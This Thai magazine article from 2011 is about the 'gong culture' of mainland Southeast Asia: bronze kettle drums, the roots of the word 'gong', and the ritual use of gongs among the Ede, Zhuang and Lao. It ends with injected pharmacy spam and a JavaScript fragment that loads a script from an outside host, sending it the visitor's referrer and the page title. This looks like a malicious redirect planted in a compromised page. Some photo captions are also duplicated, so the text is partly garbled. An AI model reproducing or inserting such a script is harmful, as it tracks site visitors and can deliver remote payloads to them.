มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 5 สิงหาคม 2554

 

          บรรพชนคนอุษาคเนย์ได้ยินเสียงกังวานโลหะเป็นครั้งแรก เมื่อราว 3,000 ปีมาแล้ว จากเครื่องมือศักดิ์สิทธิ์ใช้ตีสื่อสารกับอำนาจเหนือธรรมชาติ (คือ ผี) ทุกวันนี้ใช้เป็นเครื่องดนตรีเรียกฆ้อง

เสียงกังวานโลหะ เมื่อราว 3,000 ปีมาแล้ว ต้องนับเป็นเสียงใหม่, ใหญ่ยิ่ง, สิ่งศักดิ์สิทธิ์ และมหัศจรรย์ที่สุดของยุคนั้น

เครื่องดนตรีโลหะจึงมีฐานะสูงมากตราบถึงทุกวันนี้ เช่น ฆ้องวง ถือเป็น “ครูใหญ่” ของวงปี่พาทย์ เป็นต้น

เครื่องดนตรีทำด้วยโลหะชุดแรก จัดอยู่ใน “วัฒนธรรมฆ้อง” เป็นโลหะผสมเรียกสัมฤทธิ์ ประกอบด้วย ทองแดง+ ดีบุก+หรือตะกั่ว

เครื่องดนตรีโลหะ “วัฒนธรรมฆ้อง” ทำเลียนแบบเครื่องดนตรีวัฒนธรรมไม้ไผ่ที่มีมาแต่ยุคก่อน แล้วยังทำเครื่องมือแบบอื่นๆ ด้วย เช่น ลูกกระพรวน, โปง, ฯลฯ

         ประชาคมอาเซียน ที่จะมีในอนาคตควรทำความเข้าใจร่วมกันเรื่องฆ้องให้กว้างขวางและลึกซึ้งมากกว่านี้ 

ฆ้อง 

ฆ้องที่วางเรียงมีหลายเสียงลดหลั่น เป็นวิธีการเลียนแบบกระบอกไม้ไผ่ที่มีมาก่อน มีร่องรอยเหลือให้เห็นอยู่ในกาเมลันของอินโดนีเซีย

 

ขบวนแห่ในพิธีกรรม มีคนแบกหาม รูปกลมๆ คล้ายกลองทอง หรือฆ้อง หรือมโหระทึก มีในภาพเขียนสี อายุราว 2,500 ปีมาแล้ว ที่ถ้ำตาด้วง บ้านวังกุลา ต. ช่องสะเดา อ. เมือง จ.กาญจนบุรีชนชาติเย้าและชนชาติอื่นๆในมณฑลกวางสี มีประเพณีประโคมตีกลองทองมโหระทึก

ชนชาติเย้าและชนชาติอื่นๆในมณฑลกวางสี มีประเพณีประโคมตีกลองทองมโหระทึกประเพณีประโคมตีกลองทองมโหระทึกของชาวจ้วงที่หมู่บ้านหนาลี่ชุน อ. เทียนเอ๋อ เมืองจ้วง กวางสี ประเพณีประโคมตีกลองทองมโหระทึกของชาวจ้วงที่หมู่บ้านหนาลี่ชุน อ. เทียนเอ๋อ เมืองจ้วง กวางสี

ประเพณีประโคมตีกลองทองมโหระทึกของชาวจ้วงที่หมู่บ้านหนาลี่ชุน อ. เทียนเอ๋อ เมืองจ้วง กวางสี

ฆ้องแขวนเป็นราวเรียงลำดับ ใช้ตีในพิธีกรรมของพวกลาวเทิง (ข่า) เผ่าหนึ่งในแขวงอัตตะปือ สปป.ลาว “วัฒนธรรมฆ้อง” ในอุษาคเนย์ มีต้นเค้าเก่าสุดจากกลองสัมฤทธิ์หรือมโหระทึก เมื่อ 2,500 ปีมาแล้ว

“วัฒนธรรมฆ้อง” ในอุษาคเนย์ มีต้นเค้าเก่าสุดจากกลองสัมฤทธิ์หรือมโหระทึก เมื่อ 2,500 ปีมาแล้ว

          เมื่อมนุษย์ค้นพบโลหะ  แล้วมีเทคโนโลยีก้าวหน้าถลุงและหล่อโลหะได้  ทำให้เกิดคนชั้นนำมีอำนาจและมีบริวารสร้างสรรค์วัฒนธรรมฆ้อง ขณะที่คนชั้นล่างใช้วัฒนธรรมไม้ไผ่ที่มีมาแต่เดิม

         “วัฒนธรรมฆ้อง” เก่าสุดอายุราว 3,000 ปีมาแล้ว พบที่ยูนนาน, กวางสี (ในมณฑลทางใต้ของจีน) และที่ดงเซิน (ในเวียดนาม)

มีชื่อเรียกหลายอย่าง เช่น กลองทอง (ไทย, ลาว), ฆ้องบั้ง (ลาว), กลองกบ (กะเหรี่ยง), ฆ้องกบ, มโหระทึก (ไทย), ฯลฯ ชื่อที่แพร่หลายในประเทศไทยคือ มโหระทึก 

         มโหระทึก หมายถึงกลองสัมฤทธิ์ มีเอวคอดคล้ายลูกน้ำเต้า  เป็นคำเพี้ยนรูปและเพี้ยนเสียงจากคำอื่นในภาษาอื่น (เช่นเดียวกับคำว่า มหรสพ) แต่ยังหารากที่มาของคำไม่พบ

         กลองทอง หรือมโหระทึก มีหูระวิงอยู่ข้างๆ เอาไว้ใช้เชือก ร้อยแขวนตีประโคม  หูระวิงนี้เป็นต้นแบบให้กลองทัดต่อไปข้างหน้า

         “วัฒนธรรมฆ้อง” เป็นสัญลักษณ์ร่วมเฉพาะภูมิภาคอุษาคเนย์ มีแหล่งกำเนิดบนผืนแผ่นดินใหญ่ เช่น จีน (ยูนนาน, กวางสี), เวียดนาม แล้วแพร่กระจายลงไปทางหมู่เกาะทะเลใต้ มีใช้ในทุกกลุ่มชาติพันธุ์สืบเนื่องถึงทุกวันนี้

         ฆ้องเป็นสัญลักษณ์ของความศักดิ์สิทธิ์และความเป็นใหญ่ หมายถึงเครื่องตีทำด้วยโลหะผสมเรียกสัมฤทธิ์  มีรากเหง้าจากมโหระทึก

 

ระฆ้อง-ระฆัง 

คำว่าฆ้องมีรากจากภาษาตระกูลชวา-มลายู ว่า gong คู่กับ ระฆัง ใช้ไม้ตีจากข้างนอก เอกสารโบราณใช้คู่กันว่า ระฆ้อง-ระฆัง หรือ รังฆ้อง-รังฆัง ก็มี โลกตะวันตกรับอิทธิพลฆ้อง-ระฆังจากอุษาคเนย์ แล้วทับศัพท์คำ gong ไปใช้ในภาษาตะวันตกด้วย

gong ของอุษาคเนย์ ต่างจาก bell ของตะวันตก เพราะ gong ตีจากข้างนอก แต่ bell ตีจากข้างใน (มีลูกกระทบแขวนข้างใน bell)

หญิงชาวระแดกำลังเป่าปี่ไม้ไผ่ ding tuuk แล้วตีฆ้องในงานศพ (ภาพจากหนังสือ The Ede in Vietnam. Hanoi : VNA Publishing House, 2010.)

หญิงชาวระแดในเวียดนามใช้มือขวาตีฆ้องด้วยไม้หุ้มผ้าตรงส่วนหัว มือซ้ายใช้ควบคุมเสียงกังวานและจังหวะ ฆ้องของชาวระแดมีความศักดิ์สิทธิ์และความมั่นคงของครอบครัวและเผ่าพันธุ์ ช่วยติดต่อสื่อสารโดยตรงกับผีและขวัญ ฆ้องเต็มชุดมี 10 ใบเรียก knah และกลอง H’gor 1 ใบ ขนาดของฆ้องเลียนแบบลำดับสมาชิกในครอบครัวทางฝ่ายหญิง ส่วนจำนวนฆ้องอิงกับจำนวนลำดับสมาชิกในครอบครัว เช่น กลอง H’gor แทน ยาย, ฆ้อง Char แทน ตา, ฆ้อง Amaching แทน แม่, ฆ้อง Mduh Ching แทน พ่อ ฯลฯ

กลุ่มชาติพันธุ์ในเวียดนามใช้ฆ้องตีประโคมในการละเล่น

forzest online bestellen avanafil orders.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;